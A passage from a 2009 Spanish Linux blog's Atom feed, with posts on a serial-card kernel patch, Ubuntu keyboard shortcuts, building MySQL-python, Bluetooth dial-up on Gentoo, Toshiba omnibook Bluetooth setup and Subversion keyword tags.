src="http://1.bp.blogspot.com/_lVFCOEwXZGU/SlpI89cNv5I/AAAAAAAAAhU/YEc77_D9np0/s400/stellarium-000.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5357674918832881554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=9f06QZCVUHg"&gt;Bryan Adams - Summer of '69&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La imagen con &lt;a href="http://www.stellarium.org/es/"&gt;Stellarium&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5026065775164675754?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5026065775164675754/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5026065775164675754&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5026065775164675754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5026065775164675754'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/07/un-pensamiento.html' title='Un pensamiento'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lVFCOEwXZGU/SlpI89cNv5I/AAAAAAAAAhU/YEc77_D9np0/s72-c/stellarium-000.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8090771623905850336</id><published>2009-06-16T13:11:00.003+02:00</published><updated>2009-06-16T13:19:51.922+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Drivers linux controladora SYBA MM-ITE8871-PR8</title><content type='html'>En la versión del kernel que ando usando no se encuentra el driver especifico para la tarjeta "RS232 to PCI" que necesito instalar, esta trae 8 interfaces series, rebuscando encontré un &lt;a href="http://lkml.indiana.edu/hypermail/linux/kernel/0710.1/1385.html"&gt;parche&lt;/a&gt; para que el driver 8250_pci del nucleo detecte la misma:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;--- linux-2.6.28-gentoo-r5/drivers/serial/8250_pci.c.orig       2008-12-23 09:43:11.000000000 +0200&lt;br /&gt;+++ linux-2.6.28-gentoo-r5/drivers/serial/8250_pci.c    2009-06-16 13:13:43.000000000 +0200&lt;br /&gt;@@ -2860,6 +2860,9 @@&lt;br /&gt;                PCI_ANY_ID, PCI_ANY_ID, 0, 0,&lt;br /&gt;                pbn_b3_8_115200 },&lt;br /&gt;&lt;br /&gt;+       /* Syba PCI8871-PR8 8-port serial card */&lt;br /&gt;+       { PCI_VENDOR_ID_PLX, 0x9016, 0x544e, 0x0008, 0, 0, pbn_b0_8_115200 },&lt;br /&gt;+&lt;br /&gt;        /*&lt;br /&gt;         * Exar Corp. XR17C15[248] Dual/Quad/Octal UART&lt;br /&gt;         */&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Importante también aumentar el numero de UARTS disponibles a nivel kernel:&lt;br /&gt;&lt;pre class="codigo"&gt;$ vi .config&lt;br /&gt;CONFIG_SERIAL_8250_NR_UARTS=24&lt;br /&gt;CONFIG_SERIAL_8250_RUNTIME_UARTS=24&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8090771623905850336?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8090771623905850336/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8090771623905850336&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8090771623905850336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8090771623905850336'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/06/drivers-linux-controladora-syba-mm.html' title='Drivers linux controladora SYBA MM-ITE8871-PR8'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1890310461396426846</id><published>2009-06-14T13:29:00.008+02:00</published><updated>2009-06-14T13:51:19.290+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Accesos rapidos con tecla windows en Ubuntu</title><content type='html'>Por defecto en la versión de Ubuntu que estoy usando no es posible utilizar la tecla windows como modificador de atajos de teclado, antes que gnome había pasado por mis manos &lt;a href="http://awesome.naquadah.org/"&gt;awesome&lt;/a&gt;, un gestor de ventanas orientado a modo texto puro, con atajos muy bien pensados, lo malo es que luego a la hora de utilizarlo con aplicaciones que no sean una consola se convierte en un horror. &lt;br /&gt;A lo que vamos, copiar esos atajos tan chulos, casi todos hechos con la tecla windows, para ello tenemos que modificar unos parametros del layout de teclado (sistema/preferencias/teclado):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lVFCOEwXZGU/SjTheI1LOyI/AAAAAAAAAUE/R6pP_VxGDAo/s1600-h/Screenshot-Keyboard+Preferences.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 390px; height: 400px;" src="http://2.bp.blogspot.com/_lVFCOEwXZGU/SjTheI1LOyI/AAAAAAAAAUE/R6pP_VxGDAo/s400/Screenshot-Keyboard+Preferences.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5347146565478464290" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Mapeamos "super" a la tecla windows, sin esto cuando cambiamos los atajos e intentamos crear una convinación tecla win  + otra cosa nos sale "Super L" unicamente (no convina).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lVFCOEwXZGU/SjTihcXBouI/AAAAAAAAAUM/Hsry9-uahqs/s1600-h/Screenshot-Keyboard+Layout+Options.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 339px;" src="http://1.bp.blogspot.com/_lVFCOEwXZGU/SjTihcXBouI/AAAAAAAAAUM/Hsry9-uahqs/s400/Screenshot-Keyboard+Layout+Options.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5347147721771950818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Por último nos queda configurar las nuevas convinaciones tal como queramos, a mi estas me gustaron particularmente:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lVFCOEwXZGU/SjTixwON7lI/AAAAAAAAAUU/dv3zJQ2drik/s1600-h/Screenshot-Keyboard+Shortcuts.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 322px;" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/SjTixwON7lI/AAAAAAAAAUU/dv3zJQ2drik/s400/Screenshot-Keyboard+Shortcuts.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5347148001981623890" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Así como win+enter: nueva consola, ó win+E: explorador de archivos (en plan win).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1890310461396426846?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1890310461396426846/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1890310461396426846&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1890310461396426846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1890310461396426846'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/06/accesos-rapidos-con-tecla-windows-en.html' title='Accesos rapidos con tecla windows en Ubuntu'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lVFCOEwXZGU/SjTheI1LOyI/AAAAAAAAAUE/R6pP_VxGDAo/s72-c/Screenshot-Keyboard+Preferences.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6239810770793663824</id><published>2009-05-27T10:35:00.003+02:00</published><updated>2009-05-27T10:50:16.107+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql python'/><title type='text'>MySQL-python 5 en sistema con mysql 4</title><content type='html'>Si tenemos corriendo un mysql versión 4 en un sistema y queremos realizar una conexión a un mysql5 encontraremos errores del tipo:&lt;br /&gt;&lt;pre class="codigo"&gt;Client does not support authentication protocol requested by server; consider upgrading MySQL client&lt;/pre&gt;&lt;br /&gt;En caso de que no sea posible actualizar en el propio sistema a la versión 5 la versión antigua de mysql se hace necesario utilizar compilar el conector con librerias mas actuales, para ello descargamos la última versión que encontremos de &lt;a href="http://dev.mysql.com/downloads/mysql/5.1.html#linux"&gt;mysql&lt;/a&gt; ya compilada mismamente.&lt;br /&gt;&lt;br /&gt;Para el caso de MySQL-python es necesario instalar desde &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=22307&amp;package_id=15775"&gt;fuentes&lt;/a&gt; y modificar la dirección de nuestros binarios de mysql5 en la configuración "MySQL-python-1.2.2/site.cfg":&lt;br /&gt;&lt;pre class="codigo"&gt;[options]&lt;br /&gt;# embedded: link against the embedded server library&lt;br /&gt;# threadsafe: use the threadsafe client&lt;br /&gt;# static: link against a static library (probably required for embedded)&lt;br /&gt;&lt;br /&gt;embedded = False&lt;br /&gt;threadsafe = True&lt;br /&gt;static = True&lt;br /&gt;&lt;br /&gt;# The path to mysql_config.&lt;br /&gt;# Only use this if mysql_config is not on your PATH, or you have some weird&lt;br /&gt;# setup that requires it.&lt;br /&gt;mysql_config = /usr/src/mysql5/mysql-5.1.34-linux-x86_64-glibc23/bin/mysql_config&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Lo configuramos como estatico e indicamos donde anda el mysql_config que acabamos de descargar.&lt;br /&gt;&lt;br /&gt;Si ahora intentamos arrancar cualquier script encontraremos que python no encuentra las librerias de la nueva versión:&lt;br /&gt;&lt;pre class="codigo"&gt;ImportError: libmysqlclient_r.so.16: cannot open shared object file: No such file or directory&lt;/pre&gt;&lt;br /&gt;Tan solo tenemos que copiarlas a nuestro /usr/lib64/:&lt;br /&gt;&lt;pre class="codigo"&gt;cp /usr/src/mysql5/mysql-5.1.34-linux-x86_64-glibc23/lib/libmysqlclient_r.so.16 /usr/lib64/&lt;br /&gt;&lt;br /&gt;# ls -la /usr/lib64/|grep mysql&lt;br /&gt;-rw-r--r--  1 root root  460632 Sep  3  2008 libmysqlclient.a&lt;br /&gt;-rwxr-xr-x  1 root root     897 Sep  3  2008 libmysqlclient.la&lt;br /&gt;lrwxrwxrwx  1 root root      24 Sep  3  2008 libmysqlclient.so -&gt; libmysqlclient.so.12.0.0&lt;br /&gt;lrwxrwxrwx  1 root root      24 Sep  3  2008 libmysqlclient.so.12 -&gt; libmysqlclient.so.12.0.0&lt;br /&gt;-rwxr-xr-x  1 root root  277520 Sep  3  2008 libmysqlclient.so.12.0.0&lt;br /&gt;-rw-r--r--  1 root root  472412 Sep  3  2008 libmysqlclient_r.a&lt;br /&gt;-rwxr-xr-x  1 root root     951 Sep  3  2008 libmysqlclient_r.la&lt;br /&gt;lrwxrwxrwx  1 root root      26 Sep  3  2008 libmysqlclient_r.so -&gt; libmysqlclient_r.so.12.0.0&lt;br /&gt;lrwxrwxrwx  1 root root      26 Sep  3  2008 libmysqlclient_r.so.12 -&gt; libmysqlclient_r.so.12.0.0&lt;br /&gt;-rwxr-xr-x  1 root root  285840 Sep  3  2008 libmysqlclient_r.so.12.0.0&lt;br /&gt;-rwxr-xr-x  1 root root 5326100 May 27 10:29 libmysqlclient_r.so.16&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6239810770793663824?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6239810770793663824/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6239810770793663824&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6239810770793663824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6239810770793663824'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/05/mysql-python-5-en-sistema-con-mysql-4.html' title='MySQL-python 5 en sistema con mysql 4'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3005074051943825735</id><published>2009-04-26T21:16:00.007+02:00</published><updated>2009-04-26T23:01:00.137+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yoigo'/><category scheme='http://www.blogger.com/atom/ns#' term='bluetooth'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Yoigo en Gentoo a través del TS705</title><content type='html'>He leido varios artículos de como configurar Yoigo en linux, pero ninguno con el Toshiba TS705 (debe ser el móvil de los pobres), en general las guías son las mismas que en el resto de situaciones:&lt;br /&gt;Para empezar necesitamos arrancar bluetooth, la &lt;a href="http://www.gentoo.org/doc/es/bluetooth-guide.xml"&gt;guía de gentoo&lt;/a&gt; está bastante detallada al respecto, con la salvedad del funcionamiento del manejador de pin, al final me decanté por kdebluetooth y a correr.&lt;br /&gt;&lt;pre class="codigo"&gt;# emerge net-wireless/bluez-libs net-wireless/bluez-utils&lt;br /&gt;# /etc/init.d/bluetooth start&lt;br /&gt;# hcitool scan&lt;br /&gt;Scanning ...&lt;br /&gt;        00:15:B7:56:B2:42       Noah&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Con este telefono el truco está en que el puerto de "dialup" no se trata del número 1 que por defecto viene en la documentación, para descubrirlo utilizamos el siguiente comando:&lt;br /&gt;&lt;pre class="codigo"&gt;Browsing 00:15:B7:56:B2:42 ...&lt;br /&gt;Service Name: Serial Port Profile&lt;br /&gt;Service RecHandle: 0x10000&lt;br /&gt;Service Class ID List:&lt;br /&gt;  "Serial Port" (0x1101)&lt;br /&gt;Protocol Descriptor List:&lt;br /&gt;  "L2CAP" (0x0100)&lt;br /&gt;  "RFCOMM" (0x0003)&lt;br /&gt;    Channel: 16&lt;br /&gt;Language Base Attr List:&lt;br /&gt;  code_ISO639: 0x656e&lt;br /&gt;  encoding:    0x6a&lt;br /&gt;  base_offset: 0x100&lt;br /&gt;Profile Descriptor List:&lt;br /&gt;  "Serial Port" (0x1101)&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Service Name: &lt;b&gt;QC Dial-up Networking&lt;/b&gt;&lt;br /&gt;Service RecHandle: 0x10003&lt;br /&gt;Service Class ID List:&lt;br /&gt;  "Dialup Networking" (0x1103)&lt;br /&gt;  "Generic Networking" (0x1201)&lt;br /&gt;Protocol Descriptor List:&lt;br /&gt;  "L2CAP" (0x0100)&lt;br /&gt;  "RFCOMM" (0x0003)&lt;br /&gt;    &lt;b&gt;Channel: 8&lt;/b&gt;&lt;br /&gt;Language Base Attr List:&lt;br /&gt;  code_ISO639: 0x656e&lt;br /&gt;  encoding:    0x6a&lt;br /&gt;  base_offset: 0x100&lt;br /&gt;Profile Descriptor List:&lt;br /&gt;  "Dialup Networking" (0x1103)&lt;br /&gt;    Version: 0x0100&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Si observamos el servicio "QC Dial-up Networking" se encuentra en el canal 8, para ello definiremos en /etc/bluetooth/rfcomm.conf una entrada tal que así:&lt;br /&gt;&lt;pre class="codigo"&gt;rfcomm0 {&lt;br /&gt;    bind yes;&lt;br /&gt;    device 00:15:B7:56:B2:42;&lt;br /&gt;    channel 8;&lt;br /&gt;    comment "Yoigo TS705";&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;"bind" es necesario para que cree la entrada /dev/rfcomm0 sobre la que luego lanzaremos el dialer.&lt;br /&gt;Reiniciamos el demonio, es interesante tener ya pareado el dispositivo, para eso nos sirve lanzarle un ping:&lt;br /&gt;&lt;pre class="codigo"&gt;# l2ping 00:15:B7:56:B2:42&lt;br /&gt;Ping: 00:15:B7:56:B2:42 from 00:03:44:24:30:A1 (data size 44) ...&lt;br /&gt;4 bytes from 00:15:B7:56:B2:42 id 0 time 33.94ms&lt;br /&gt;4 bytes from 00:15:B7:56:B2:42 id 1 time 23.83ms&lt;br /&gt;^C2 sent, 2 received, 0% loss&lt;/pre&gt;&lt;br /&gt;Tras lo cual nos saltará un dialogo para introducir el mismo pin en el móvil y en el ordenador, es necesario tener lanzado el kbluetooth o lanzar en ese momento el passkey-agent (con este último no he conseguido que funcione). Una vez pareado ya no hará falta volver a hacer esto.&lt;br /&gt;&lt;br /&gt;Una vez reiniciado tendremos ya creado el interfaz /dev/rfcomm0&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;emerge -av net-dialup/wvdial&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Creamos el archivo .wvdialrc en nuestro home con el contenido siguiente:&lt;br /&gt;&lt;pre class="codigo"&gt;[Dialer YoigoBT]&lt;br /&gt;Modem = /dev/rfcomm0&lt;br /&gt;Phone = *99***1#&lt;br /&gt;Username = ''&lt;br /&gt;Password = ''&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si hubieramos definido mal el canal remoto bluetooth y cambiado la config del teléfono obtendríamos esta salida:&lt;br /&gt;&lt;pre class="codigo"&gt;# wvdial YoigoBT&lt;br /&gt;--&gt; WvDial: Internet dialer version 1.60&lt;br /&gt;--&gt; Cannot open /dev/rfcomm0: Connection refused&lt;br /&gt;--&gt; Cannot open /dev/rfcomm0: Connection refused&lt;br /&gt;--&gt; Cannot open /dev/rfcomm0: Connection refused&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Tenemos que soltar el canal, para ello:&lt;br /&gt;&lt;pre class="codigo"&gt;# rfcomm -a&lt;br /&gt;rfcomm0: 00:15:B7:56:B2:42 channel 1 closed&lt;br /&gt;# rfcomm release 00:15:B7:56:B2:42&lt;br /&gt;# rfcomm -a&lt;br /&gt;# /etc/init.d/bluetooth restart&lt;br /&gt;# rfcomm -a&lt;br /&gt;rfcomm0: 00:15:B7:56:B2:42 channel 8 clean&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# wvdial YoigoBT&lt;br /&gt;--&gt; WvDial: Internet dialer version 1.60&lt;br /&gt;--&gt; Initializing modem.&lt;br /&gt;--&gt; Sending: ATZ&lt;br /&gt;ATZ&lt;br /&gt;OK&lt;br /&gt;--&gt; Modem initialized.&lt;br /&gt;--&gt; Sending: ATDT*99***1#&lt;br /&gt;--&gt; Waiting for carrier.&lt;br /&gt;CONNECT&lt;br /&gt;--&gt; Carrier detected.  Waiting for prompt.&lt;br /&gt;--&gt; Don't know what to do!  Starting pppd and hoping for the best.&lt;br /&gt;--&gt; Starting pppd at Sun Apr 26 22:46:37 2009&lt;br /&gt;--&gt; Pid of pppd: 7783&lt;br /&gt;--&gt; Using interface ppp0&lt;br /&gt;--&gt; local  IP address 217.168.x.x&lt;br /&gt;--&gt; remote IP address 10.64.x.x&lt;br /&gt;--&gt; primary   DNS address 10.8.x.x&lt;br /&gt;--&gt; secondary DNS address 10.8.x.xx&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Solo queda configurar la puerta de enlace y los dns ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3005074051943825735?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3005074051943825735/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3005074051943825735&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3005074051943825735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3005074051943825735'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/04/yoigo-en-gentoo-traves-del-ts705.html' title='Yoigo en Gentoo a través del TS705'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6034286299224299030</id><published>2009-04-26T20:23:00.005+02:00</published><updated>2009-04-26T20:40:17.018+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bluetooth'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Bluetooth en Toshiba Satellite U300-14Q</title><content type='html'>Descargamos el codigo de omnibook mediante subversion:&lt;br /&gt;&lt;pre class="codigo"&gt;svn co https://omnibook.svn.sourceforge.net/svnroot/omnibook/omnibook/trunk&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Tal como describe &lt;a href="http://www.itopen.it/2007/11/22/ubuntu-linux-toshiba-satellite-u300/#comment-18687"&gt;Toshiba Satellite U300 en Ubuntu Linux&lt;/a&gt; aplicamos un parche, si no lo hubieramos aplicado nos saldría la siguiente respuesta a los comandos:&lt;br /&gt;&lt;pre class="codigo"&gt;# cat /proc/omnibook/dmi&lt;br /&gt;BIOS Vendor:   TOSHIBA&lt;br /&gt;BIOS Version:  V5.10&lt;br /&gt;BIOS Release:  01/15/2009&lt;br /&gt;System Vendor: TOSHIBA&lt;br /&gt;Product Name:  Satellite U300&lt;br /&gt;Version:       PSU30E-07202ECE&lt;br /&gt;Serial Number: 28050519W&lt;br /&gt;Board Vendor:  TOSHIBA&lt;br /&gt;Board Name:    Not Applicable&lt;br /&gt;&lt;br /&gt;# dmesg&lt;br /&gt;omnibook: Driver version 2.20070211-trunk.&lt;br /&gt;omnibook: Unknown model.&lt;br /&gt;omnibook: dmi feature has no backend table, io_op not initialized.&lt;br /&gt;omnibook: version feature has no backend table, io_op not initialized.&lt;br /&gt;omnibook: Enabled features: dmi version.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Editamos laptop.h y añadimos una nueva entrada si no está definida:&lt;br /&gt;&lt;pre class="codigo"&gt;{&lt;br /&gt;  .callback = dmi_matched,&lt;br /&gt;  .ident = “Toshiba Satellite U300″,&lt;br /&gt;  .matches = {&lt;br /&gt;     DMI_MATCH(DMI_SYS_VENDOR, “TOSHIBA”),&lt;br /&gt;     DMI_MATCH(DMI_PRODUCT_NAME, “Satellite U300″),&lt;br /&gt;  },&lt;br /&gt;  .driver_data = (void*) TSM70&lt;br /&gt;},&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;make, make install, e importantisimo, sobreescribir el modulo actual que pudieramos tener instalado vaya que estemos usando uno viejo sin el parche (ya lo he sufrido :p) el instalador no lo hace correctamente. Normalmente anda por: /lib/modules/{VERSION}/char/omnibook.ko&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;#dmesg&lt;br /&gt;omnibook: Driver version 2.20070211-trunk.&lt;br /&gt;omnibook: Toshiba Satellite U300 detected.&lt;br /&gt;...&lt;br /&gt;omnibook: Try to init ACPI backend&lt;br /&gt;omnibook: ACPI EC device found&lt;br /&gt;input: Omnibook ACPI scancode generator as /class/input/input6&lt;br /&gt;omnibook: hook_connect for device AT Translated Set 2 keyboard.&lt;br /&gt;omnibook: Enabling Toshiba Bluetooth ACPI device.&lt;br /&gt;omnibook: ACPI backend init OK&lt;br /&gt;omnibook: Returning table entry nr 0.&lt;br /&gt;omnibook: BTST raw_state: c1&lt;br /&gt;...&lt;br /&gt;usb 7-2: new full speed USB device using uhci_hcd and address 2&lt;br /&gt;usb 7-2: New USB device found, idVendor=0930, idProduct=0508&lt;br /&gt;usb 7-2: New USB device strings: Mfr=0, Product=0, SerialNumber=0&lt;br /&gt;usb 7-2: configuration #1 chosen from 1 choice&lt;br /&gt;&lt;br /&gt;# lsusb&lt;br /&gt;Bus 002 Device 002: ID 04f2:b008 Chicony Electronics Co., Ltd&lt;br /&gt;Bus 002 Device 001: ID 1d6b:0002&lt;br /&gt;Bus 007 Device 002: ID 0930:0508 Toshiba Corp.&lt;br /&gt;Bus 007 Device 001: ID 1d6b:0001&lt;br /&gt;Bus 006 Device 001: ID 1d6b:0001&lt;br /&gt;Bus 005 Device 001: ID 1d6b:0001&lt;br /&gt;Bus 001 Device 001: ID 1d6b:0002&lt;br /&gt;Bus 004 Device 001: ID 1d6b:0001&lt;br /&gt;Bus 003 Device 001: ID 1d6b:0001&lt;br /&gt;&lt;br /&gt;# hciconfig&lt;br /&gt;hci0:   Type: USB&lt;br /&gt;        BD Address: 00:03:7A:A6:3A:C3 ACL MTU: 384:8 SCO MTU: 64:8&lt;br /&gt;        UP RUNNING PSCAN ISCAN&lt;br /&gt;        RX bytes:959 acl:0 sco:0 events:26 errors:0&lt;br /&gt;        TX bytes:353 acl:0 sco:0 commands:26 errors:0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Para que carge siempre al arranque de sistema (en gentoo):&lt;br /&gt;&lt;pre class="codigo"&gt;echo "omnibook" &gt; /etc/modules.autoload.d/kernel-2.6&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6034286299224299030?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6034286299224299030/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6034286299224299030&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6034286299224299030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6034286299224299030'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/04/bluetooth-en-toshiba-satellite-u300-14q.html' title='Bluetooth en Toshiba Satellite U300-14Q'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1181012318353484203</id><published>2009-04-17T10:57:00.002+02:00</published><updated>2009-04-17T11:01:43.544+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='subversion'/><title type='text'>Números de revisión y autor en subversion</title><content type='html'>Para usar nuestros magic tags tal como hacia cvs debemos definir las propiedades para el archivo o archivos que deseamos.&lt;br /&gt;Para ello inclumos dentro de nuestro archivo los valores entre $&lt;br /&gt;&lt;pre class="codigo"&gt;__lastauthor__ = "$LastChangedBy: user $"&lt;br /&gt;__revision__ = "$LastChangedRevision: 000 $"&lt;/pre&gt;&lt;br /&gt;Luego debemos darle la propiedad al mismo, los wildcards también sirven con los nombres de archivo:&lt;br /&gt;&lt;pre class="codigo"&gt;svn propset svn:keywords "LastChangedBy LastChangedRevision LastChangedDate" archivo/s&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1181012318353484203?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1181012318353484203/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1181012318353484203&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1181012318353484203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1181012318353484203'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/04/numeros-de-revision-y-autor-en.html' title='Números de revisión y autor en subversion'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 